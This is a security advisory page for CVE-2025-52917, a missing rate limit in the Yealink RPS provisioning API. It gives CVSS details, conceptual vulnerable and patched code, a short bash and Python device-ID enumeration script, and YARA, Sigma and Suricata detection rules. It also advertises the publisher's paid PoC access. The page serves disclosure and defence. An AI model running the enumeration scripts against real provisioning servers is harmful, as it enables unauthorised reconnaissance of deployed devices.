CVE-2025-52917
Executive Summary
CVE-2025-52917 identifies a missing rate limiting vulnerability in the Yealink RPS (Redirection and Provisioning Service) API prior to the 2025-05-26 release. The absence of request throttling allows an unauthenticated attacker to perform excessive API calls, potentially leading to information disclosure. This vulnerability is classified as low severity (CVSS 4.3) due to the lack of direct data exposure but poses a risk for reconnaissance and enumeration attacks against Yealink device provisioning infrastructure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary API service provided by Yealink for device provisioning.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Low. The vulnerability primarily enables reconnaissance and enumeration, not direct data theft or system compromise.
Deep Dive & Mechanics
The Yealink RPS API is used for device provisioning and redirection. The vulnerability stems from the lack of rate limiting on API endpoints. An attacker can send a high volume of requests to enumerate valid device identifiers, provisioning URLs, or other metadata. This can lead to:
- Device Enumeration: Identifying active Yealink devices on the network.
- Provisioning Data Leakage: Potentially exposing configuration URLs or server endpoints.
- Reconnaissance: Gathering information for further attacks.
The API likely uses simple HTTP GET/POST requests without authentication for certain endpoints. Without rate limiting, an attacker can script automated queries to extract data.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# No rate limiting applied
@app.route('/api/device/<device_id>')
def get_device_info(device_id):
# Process request without checking request frequency
return jsonify(device_info)
Patched Code (Conceptual):
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)
@app.route('/api/device/<device_id>')
@limiter.limit("10 per minute")
def get_device_info(device_id):
# Rate limited to 10 requests per minute per IP
return jsonify(device_info)
The patch introduces rate limiting middleware to restrict the number of requests from a single IP address within a time window.
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a test instance of Yealink RPS API (pre-2025-05-26 version).
- Use a tool like
curlorpythonto send repeated requests.
Exploitation Steps:
# Enumerate device IDs using a simple loop
for i in {1..1000}; do
curl -s "http://target-rps/api/device/$i" -o /dev/null -w "%{http_code}\n"
done
Automated Enumeration Script:
import requests
target = "http://target-rps/api/device/"
for device_id in range(1, 1001):
response = requests.get(f"{target}{device_id}")
if response.status_code == 200:
print(f"Device {device_id} found: {response.text}")
Blue Team
Detection:
- Monitor for high volumes of requests to
/api/device/or similar endpoints from a single IP. - Alert on request rates exceeding 100 requests per minute from a single source.
Mitigation:
- Implement rate limiting at the API gateway or application level.
- Use Web Application Firewall (WAF) rules to block excessive requests.
Indicators of Compromise (IOCs)
- Network Traffic: High frequency of HTTP requests to
/api/device/or/api/provisioning/endpoints. - Source IPs: Multiple requests from the same IP address in a short time window.
- Response Patterns: 200 OK responses for sequential device IDs.
Detection Engineering
YARA Rule
rule yealink_rps_enumeration {
meta:
description = "Detects enumeration attempts against Yealink RPS API"
author = "Valters IT"
date = "2025-05-26"
reference = "CVE-2025-52917"
strings:
$api_path = "/api/device/"
$api_path2 = "/api/provisioning/"
condition:
any of ($api_path*) and #api_path > 100
}
Sigma Rule
title: Yealink RPS API Enumeration
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects high volume of requests to Yealink RPS API endpoints
author: Valters IT
date: 2025-05-26
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-stem:
- "/api/device/*"
- "/api/provisioning/*"
condition: selection | count() by src_ip > 100
falsepositives:
- Legitimate provisioning traffic
level: medium
Suricata Rule
alert http any any -> any any (msg:"Yealink RPS API Enumeration Attempt"; flow:to_server; content:"/api/device/"; http_uri; threshold: type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Apply rate limiting to all API endpoints. Use a reverse proxy or API gateway to enforce limits.
- Short-term: Update to the latest Yealink RPS API version (post-2025-05-26).
- Long-term: Implement authentication for API access. Use API keys or OAuth tokens.
- Monitoring: Enable logging and alerting for anomalous API request patterns.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.